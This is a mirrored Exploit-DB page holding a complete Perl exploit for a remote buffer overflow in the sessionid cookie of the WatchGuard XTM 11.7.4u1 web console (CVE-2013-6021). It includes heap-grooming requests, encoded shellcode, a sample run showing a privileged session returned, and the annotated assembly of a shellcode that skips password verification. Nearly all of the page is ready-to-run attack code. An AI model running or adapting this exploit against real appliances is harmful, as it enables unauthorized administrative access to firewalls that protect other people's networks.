Watchguard Firewall XTM 11.7.4u1 – Remote Buffer Overflow

  • 作者: st3n
    日期: 2013-10-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/29273/
  • #!/usr/bin/perl -w
    # Exploit Title: WatchGuard Firewall XTM version 11.7.4u1 - Remote buffer overflow exploit ~ sessionid cookie
    # Date: Oct 18 2013
    # Exploit Author: st3n@funoverip.net (a.k.a. jerome.nokin@gmail.com)
    # Vendor Homepage: http://www.watchguard.com
    # Version: <= 11.7.4u1
    # Tested on: XTMv
    # CVE : CVE-2013-6021
    
    =header
    *********************************************************************
    **WatchGuard Firewall XTM version 11.7.4u1 **
    **Remote buffer overflow exploit ~ sessionid cookie**
    *********************************************************************
    ** **
    **Author:jerome.nokin@gmail.com**
    **Blog:http://funoverip.net**
    ** CVE:CVE-2013-6021 **
    ** **
    *********************************************************************
    ** **
    **- Bug, exploit & shellcode details available on: **
    **http://funoverip.net/?p=1519 **
    ** **
    **- Decoded shellocde can be found at the end of this file **
    ** **
    *********************************************************************
    =cut
    
    
    =output sample
    
    [*] Sending HTTP ping request to https://192.168.60.200:8080 : OK. Got 'pong'
    [*] Checking sessionid cookie for bad chars
    [*] Checking shellcode for bad chars
    [*] Heap messaging (request 1) : ...
    [*] Sending authentication bypass shellcode (request 2)
    [*] HTTP Response : 
    
    --------------------------------------------------------------------------------
    HTTP/1.1 200 OK
    Content-type: text/xml
    Set-Cookie: sessionid=6B8B4567327B23C6643C98696633487300000014
    Date: Sun, 27 Oct 2013 21:11:38 GMT
    Server: none
    Content-Length: 751
    
    <?xml version="1.0"?>
    <methodResponse>
    <params>
    <param>
    <value>
    <struct>
    <member><name>sid</name><value>6B8B4567327B23C6643C98696633487300000014</value></member>
    <member><name>response</name><value></value></member>
    <member>
    <name>readwrite</name>
    <value><struct>
    <member><name>privilege</name><value>2</value></member>
    <member><name>peer_sid</name><value>0</value></member>
    <member><name>peer_name</name><value>error</value></member>
    <member><name>peer_ip</name><value>0.0.0.0</value></member>
    </struct></value>
    </member>
    </struct>
    </value>
    </param>
    </params>
    </methodResponse>
    --------------------------------------------------------------------------------
    
    [*] Over.
    =cut
    
    use warnings;
    use strict;
    use IO::Socket::SSL;
    
    # host and port of the XTM web console
    my $host = "192.168.60.200";
    my $port = "8080";
    
    # Shellcode (watch out bad chars)
    my $shellcode = 
    	# shellcode: bypass password verification and return a session cookie
    	"PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIMQJdYHfas030mQ" .
    	"KusPQWVoEPLKK5wtKOKOkOnkMM4HkO9okOoOePXpwuuXOsJgs4LMbWUTk1KNs04PUX" .
    	"eXD4tKTyvgQeZNGIaOgtptC78kM7X8VXGK6fWxnmPGL0MkzTKoVegxmYneidKNKOkO" .
    	"9WK5HxkNYoyoUPuP7pGpNkCpvlk9k5UPIoKO9oLKnmL4KNyoKOlKk5qx9nioioLKNu" .
    	"RLKNioYoMY3ttdc4NipTq4VhMYTL14NazLxPERuP30oqzMn0G54OuPmkXtyOeUtHlK" .
    	"sevhnkRrc8HGW47TeTwpuPEPgpNi4TwTMnNpZyuTgxKOn6K90ELPNkQU7xLKg0r4oy" .
    	"ctQ45TlMK35EISKOYoMYWt14MnppMfUTWxYohVk3KpuWMY0Empkw0ENXwtgpuPC0lK" .
    	"benpLKSpF0IWPDQ4Fh30s0Wp5PlMmCrMo3KO9olIpTUts4nic44dMnqnyPUTTHKOn6" .
    	"LIbeLXSVIW0EMvVb5PKw3uNt7pgpWpuPiWpEnluPWpwpGpOO0KzN34S8kOm7A";
    
    # Shellocde max length
    my $shellcode_max_len = 2000;
    
    
    # set our shellcode address into EAX (expected by alpha2 encoder)
    my $alpha2_ecx24 =
    "\x8b\x41\x24" .# moveax, [ecx+0x24]
    "\x29\xd0" .# subeax, edx ; (edx is updated by nopsled)
    "\x83\xc0\x40" .# addeax, 0x40
    "\x83\xe8\x35";		# subeax, 0x35
    # for the reader, "add eax, edx" contains bad chars. 
    	# This is the reason why the nopsled decrement EDX and that we use "dec eax, edx"
    
    
    # flush after every write
    $| = 1;
    
    # HTTP POST data for authentication request
    my $login_post_data =
    "<methodCall><methodName>login</methodName><params><param><value><struct><member>" .
    "<name>password</name><value><string>foo</string></value></member><member>" .
    "<name>user</name><value><string>admin</string></value></member></struct></value>" .
    "</param></params></methodCall>";
    
    # list of bad characters
    my @badchars = (
    	"\x00",
    "\x01", "\x02", "\x03", "\x04", "\x05", "\x06", "\x07", "\x08", "\x0a",
    "\x0b", "\x0c", "\x0d", "\x0e", "\x0f", "\x10", "\x11", "\x12", "\x13",
    "\x14", "\x15", "\x16", "\x17", "\x18", "\x19", "\x1a", "\x1b", "\x1c",
    "\x1d", "\x1e", "\x1f",
    "\x20", "\x22", "\x26", "\x27", "\x3b" # cookie delimiters
    );
    
    
    # function: Check input for badchars.
    sub check_badchars {
    	my $in = shift;
    	my $stop = 0;
    	for(my $i=0; $i<length($in); $i++){
    		my $c = substr($in,$i,1);
    		if($c ~~ @badchars){
    			printf " - bad char '0x%02x' found\n", ord($c);
    			$stop = 1;
    		}
    	}
    	if($stop){ exit; }
    }
    
    # function: testing remote connectivity with the appliance
    # send HTTP "ping" request and expect "pong" reply
    sub testing_connectivity {
    
    	print "[*] Sending HTTP ping request to https://$host:$port : ";
    my $sock = IO::Socket::SSL->new( PeerHost => "$host", PeerPort => "$port") or die "SSL: $!";
    
    if($sock){
    		my $req = 
    			"GET /ping HTTP/1.0\r\n" .
    			"Host:$host:$port". "\r\n" .
    			"\r\n";		
    
    		# send ping
    		print $sock $req;
    		my $resp='';
    		my $pong = 0;
    		# read answer
    		while (my $line = <$sock>){
    			if($line =~ /pong/) { $pong = 1;}
    			$resp .= $line;
    		}
    		# got pong ?
    		if($pong){
    			print "OK. Got 'pong'\n";
    		}else{
    			print "ERROR. Expecting 'pong' response but received :\n";
    			print $resp;
    			exit;
    		}
    close $sock;
    }else{
    print "ERROR: Socket failed !\n";
    exit;
    }
    }
    
    
    # function: HTTP request used for HEAP messaging phase
    sub building_request_step1 {
    	my $sessionid = "A" x 120; # do not overflow now
    my $req =
    "POST /agent/ping HTTP/1.1\r\n" .
    "Host:$host:$port". "\r\n" .
    "User-Agent: " . "a" x 100 . "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0" . "a" x 100. "\r\n" .
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8, " . "a" x 992 . "\r\n" .
    "Accept-Language: en-gb,en;q=0.5" . "a" x 200 . "\r\n" .
    "Cookie: sessionid=" . $sessionid . "\r\n" .
    		"Accept-Charset: utf-8\r\n" .
    		"Content-Type: application/xml\r\n" .
    "Content-Length: 3\r\n" .
    "\r\n" .
    "foo" ;
    	return $req;
    }
    
    # function: HTTP request used for buffer overflow exploitation
    sub building_request_step2 {
    
    	my $sessionid = 
    		"A" x 140 . 	# junk
    		"\x44\x85" ;# off by 2 overflow to reach0x8068544	(on the heap).
    				# 0x8068544 contains a "good memory chunk" which satisfy all rules
    
    	print "[*] Checking sessionid cookie for bad chars\n";
    	check_badchars($sessionid);
    
    my $req =
    "POST /agent/ping HTTP/1.1\r\n" .
    "Host:$host:$port". "\r\n" .
    "User-Agent: " . "a" x 1879. "\r\n" .
    "Connection: keep-alive". "a" x 22 . 
    				"\x4a" x ($shellcode_max_len - length($shellcode) - length($alpha2_ecx24)).	# nops
    				$alpha2_ecx24 . # set EAX to shellcode addr
    				$shellcode .	# shellcode
    				"\r\n" .
    		"Accept-Encoding: identity," . "b" x 1386 . "\r\n" .
    "Cookie: sessionid=" . $sessionid . "\r\n" .
    		"Accept-Charset: utf-8\r\n" .
    		"Content-Type: application/xml\r\n" .
    "Content-Length: " . length($login_post_data). "\r\n" .
    "\r\n" .
    $login_post_data ;
    
    	return $req;
    }
    
    # function: Send an HTTP request.
    sub send_http_request {
    
    	my $req = shift;
    	my $read_answer = shift || 0;
    	my $http_resp='';
    
    	# Open socket
    	my $sock = IO::Socket::SSL->new( PeerHost => "$host", PeerPort => "$port") or die "SSL: $!";
    
    	if($sock){
    print $sock $req;
    
    		# do we need the answer ?
    		if ($read_answer){
    			my $is_chunked = 0;
    			my $is_body = 0;
    	while(my $line = <$sock>){
    
    				if($line =~ /Transfer-Encoding: chunked/){
    					$is_chunked = 1;
    					next;
    				}
    				
    				if($line eq "\r\n"){ 
    					# we reached the body 
    					if($is_chunked){
    						$line = <$sock>; # chunk length
    						$line =~ s/\r\n//g;
    						$sock->read(my $data, hex($line)); # read chunk
    						$http_resp .= sprintf "Content-Length: %d\r\n\r\n", hex($line);
    						$http_resp .= $data;
    						close $sock ;
    						return $http_resp;
    					}
    				}
    				
    				$http_resp .= $line;
    			}
    		}
    close $sock;
    	}else{
    	print "ERROR: Socket failed !\n";
    	exit;
    	}
    	return $http_resp;
    }
    
    
    
    ### MAIN ####
    
    
    # print banner
    print << 'EOF';
    **********************************************************
    **WatchGuard Firewall XTM version 11.7.4u1**
    **Remote buffer overflow exploit ~ sessionid cookie **
    **********************************************************
    ****
    **Author:jerome.nokin@gmail.com **
    **Blog:http://funoverip.net **
    ** CVE:CVE-2013-6021**
    ****
    **********************************************************
    ****
    **Bug, exploit & shellcode details available on:**
    **http://funoverip.net/?p=1519**
    ****
    **********************************************************
    
    EOF
    
    
    # Send an HTTP ping request
    testing_connectivity();
    
    # building HTTP requests
    my $request_step1 = building_request_step1();
    my $request_step2 = building_request_step2();
    
    # Testing shellcode against bad cahrs
    print "[*] Checking shellcode for bad chars\n";
    check_badchars($shellcode);
    
    # Fillin the heap
    print "[*] Heap messaging (request 1) : ";
    for(my $i=0 ; $i<3 ; $i++){
    	send_http_request($request_step1);
    	print ".";
    }
    print "\n";
    
    # Exploiting
    print "[*] Sending authentication bypass shellcode (request 2)\n";
    my $resp = send_http_request($request_step2,1);
    print "[*] HTTP Response : \n\n";
    
    print "-" x 80 . "\n";
    print $resp;
    print "-" x 80 . "\n\n";
    
    
    print "[*] Over.\n";
    exit;
    
    
    =shellcode
    ;------------------------------------------------
    ; shellcode-get-gession.asm
    ; by Jerome Nokin for XTM(v) 11.7.4 update 1
    ;------------------------------------------------
    
    global _start
    _start:
    
    
    	; current EBP/ESP values
    	;-------
    	; esp0x3ff0b518
    	; ebp0x3ff0b558
    
    
    	; first, fix the stack in HTTP_handle_request function
    	; -------
    	; esp 0x3ff0b6f0	
    	; ebp 0x3ffffcb8	
    
    	; we'll do
    	;---------
    	;$ perl -e 'printf "%x\n", 0x3ff0b518 + 472'
    	; 3ff0b6f0
    	; ESP = ESP + 472
    	;$ perl -e 'printf "%x\n", 0x3ff0b558 + 1001312'
    	; 3ffffcb8
    	; EBP = EBP + 1001312
    
    	; fix ESP/EBP
    	add 	esp, 472
    	add 	ebp, 1001312
    
    
    	; fixing overwritten ptrs
    
    
    	; finding initial malloc pointer v50 (overwritten)
    	; 0805f000-08081000 rwxp 00000000 00:00 0[heap]
    
    	; v54 and v55 have not been overwritten and contain *(v50+0x10) and *(v50+0x14)
    
    	; example inside gdb
    	;b *0x8051901
    	;b *0x80519c0
    	;(gdb) x/xw $ebp-0xf8		<===== v55
    	;0x3ffffbc0:	0x08065b90
    	;(gdb) x/xw $ebp-0xfc <===== v54
    	;0x3ffffbbc:	0x08067fe0
    	;(gdb) find /w 0x08060000, 0x0806ffff, 0x08067fe0, 0x08065b90	<==== search seq on heap
    	;0x8063b48
    	;1 pattern found.
    	;(gdb) x/xw 0x8063b48-0x10	<==== initial malloc ptr (v50) is at 0x8063b48-0x10
    	;0x8063b38:	0x00000001
    
    	; search this sequence on the heap
    	mov	eax, [ebp-0xfc]	; v54
    	mov	ebx, [ebp-0xf8]	; v55
    
    	mov	edi, 0x0805f000		; heap start addr
    loop:
    	add	edi, 4
    	lea	esi, [edi+4]
    	cmp esi, 0x08081000		; edi is out of the heap ?
    	je	loop_end
    	cmp	[edi], eax		; cmp v54
    	jne	loop
    	cmp [edi+4], ebx		; cmp v55
    	je	found
    	jmp	loop
    	
    loop_end:
    	mov	eax, 0x08063b38		; default value (should not be reached)
    
    found:
    	lea	eax, [edi-0x10]		; eax = v50 address (malloc ptr addr)
    	
    ; EBP-0x10c 
    ; saved content of v50 (malloc) = ebp-0x10c 
    mov [ebp-0x10c], eax
    
    ; reset EBX (see following)
    ; 805185c: e8 95 43 00 00call 8055bf6 <wga_signal+0x784>
    ; 8051861: 81 c3 93 c7 00 00 addebx,0xc793
    ; ....
    ; 8055bf6: 8b 1c 24movebx,DWORD PTR [esp]
    ; 8055bf9: c3ret
    mov ebx, 0x805dff4
    
    	; EBP-0x108
    	; just reset it to 0
    	mov dword [ebp-0x108], 0x0
    	
    	; EBP-0x100
    	;80519b1: 8b 40 0cmoveax,DWORD PTR [eax+0xc]
    	;80519b4: 89 85 00 ff ff ff movDWORD PTR [ebp-0x100],eax
    	mov	eax, [eax+0xc]
    	mov	[ebp-0x100], eax
    
    
    	; simulate call to login function. copy args
    	mov	ecx, [ebp-0x10c]
    	mov	eax, [ebp-0x198]
    	mov	edx, [ebp-0x194]
    	mov	[esp+0x4],eax
    	mov	[esp+0x8],edx
    	mov	[esp],ecx
    
    
    	; Now setup the login function stack
    
    	; current esp/ebp
    	; ----------------
    ; esp 0x3ff0b6f0
    ; ebp 0x3ffffcb8 
    
    	; we want to land into the login function
    	; ---------------------------------------
    	; esp0x3ff0b420
    	; ebp0x3ff0b6e8
    
    	; we'll do
    	;---------
    	; $ perl -e ' printf "%x\n", 0x3ff0b6f0 - 720'
    	; 3ff0b420
    	; ESP = ESP - 720
    	; $ perl -e ' printf "%x\n", 0x3ffffcb8 - 1000912'
    	; 3ff0b6e8
    	; EBP = EBP - 1000912
    
    	; stack fix
    	sub 	esp, 720
    	sub 	ebp, 1000912
    
    
    	; EBX -> .GOT (same as above btw)
    	mov	ebx, 0x805dff4
    
    
    ; simulate "decode HTTP content" fct, at top of the login function
    mov edx, [ebp+0x8]
    mov edx, [edx+0x8]
    mov dword [esp+0x4], 0x0; no content_encoding header
    mov [esp], edx
    mov esi, 0x0804d990
    callesi ; decode content
    mov [ebp-0x70],eax; int decoded_content; // [sp+258h] [bp-70h]@1
    
    
    	; simulate "search remote_address"
    	mov	eax, [ebp+0x8]
    	mov	eax, [eax+0x14]
    	mov	[esp+0x4],eax
    	lea	eax,[ebx-0x3ceb]
    	mov	[esp],eax
    	mov	esi, 0x804b670 			;FCGX_GetParam
    	call	esi
    	add	eax, 0x7			; remove '::ffff:'	====> to improve
    	mov	[ebp-0x60],eax
    
    
    	; is_admin = 4
    	mov	dword [ebp-0x48], 0x4
    
    
    	; simulate "search req_user value"
    	mov	eax, [ebp-0x70]
    	mov	eax, [eax+0x50]
    	mov	dword [esp+0x8],0x0
    	lea	edx,[ebx-0x3c93]
    	mov	[esp+0x4],edx
    	mov	[esp],eax	
    	mov	esi, 0x804c07e
    	call	esi				; <FCGX_PutStr@plt+0x3de>
    	mov	[ebp-0x68],eax
    
    
    	; v49 = 2 (ipv4)
    	mov	word [ebp-0x5a], 0x2 		; unsigned __int16 v49; // [sp+26Eh] [bp-5Ah]@1
    
    	; challenge
    	mov	dword [ebp-0x6c], 0x0		; const char *req_challenge; // [sp+25Ch] [bp-6Ch]@1
    
    	; set v43 to null
    	mov	dword [ebp-0x74], 0x0 		;int v43; // [sp+254h] [bp-74h]@1
    
    
    	; ok, we are ready to jump in the middle of the "login" function
    	; right after the password verification
    
    	; jump here
    	; 804ee4b: c7 44 24 04 00 12 00movDWORD PTR [esp+0x4],0x1200
    	; 804ee52: 00 
    	; 804ee53: c7 04 24 01 00 00 00movDWORD PTR [esp],0x1
    	; 804ee5a: e8 11 c4 ff ffcall 804b270 <calloc@plt>
    
    	mov	edi, 0x804ee4b
    	jmp	edi
    =cut